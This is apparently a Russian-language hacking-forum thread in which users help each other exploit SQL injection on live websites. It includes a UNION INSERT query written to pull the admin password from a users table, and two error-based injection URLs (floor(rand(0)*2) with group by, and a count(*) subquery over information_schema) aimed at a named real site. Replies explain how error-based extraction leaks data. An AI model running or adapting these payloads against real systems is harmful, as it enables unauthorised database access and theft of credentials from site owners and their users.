нашел активную sql инъекцию однако не получается составить запрос

INSERT INTO results_temp (session_id, quest_id, ans_id, start_time)

SELECT 28273, tq.quest_id, ta.id, '1970-01-01 03:00:00'

FROM tmp_answers_28273 as ta, tmp_quest_28273 as tq

WHERE tq.virtual_id=2 AND ta.virtual_id=12

UNION INSERT INTO results_temp (start_time) SELECT passwd FROM users WHERE login='admin'

на первую часть запроса могу влиять очень мало, поэтому требуется использование UNION

в ответе возвращается ERROR: DB Error: syntax error

можете что-нить посоветовать?

юнион требует работы с одинаковым колчеством ячеек даже в случае инсерт??

что-то вообще ничего понять не могу

в mysql нельзя писать union insert, если ты об этом

Попробуй это

http://devteev.blogspot.com/2010/02/sql-injection-insert-update-delete-etc.html

А вообще, лучше бы ты линк скинул.

народ. что ети функции делают я понимаю, непойму почему они заставляют вывоится инфу, кто может обьяснить?

FLOOR(RAND(0)*2) - Эта функция заставляет скрипт выводить ошибку.

не, ну ето я уже знаю

но вот например так не выводит

http://sibkulinar.ru/placecooking.php?id=2%27+or+1+group+by+concat%28%2 8select+version%28%29%29,0x00,floor%28rand%280%29* 2%29%29having+min%280%29+or+1--+

а так выводит

http://sibkulinar.ru/placecooking.php

?id=2' and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

почему?

потому что это блайнд. и в данном случае результат запроса возвращается в ошибке. т.е. для эксплутации нам нужно вызвать ошибку и вывести через неё данные. вот и вся суть error based'a.

хм... неочень понятно,

допустим тут разве результат запроса не возвращается в ошибке? ведь тут тоже вызваем ошибку и выводим через неё данные

+or+1+group+by+concat((select+version()),0x00,floo r(rand(0)*2))having+min(0)+or+1--+

или нет?

http://www.xakep.ru/post/52222/ - почитай эту статейку, думаю все станет ясно.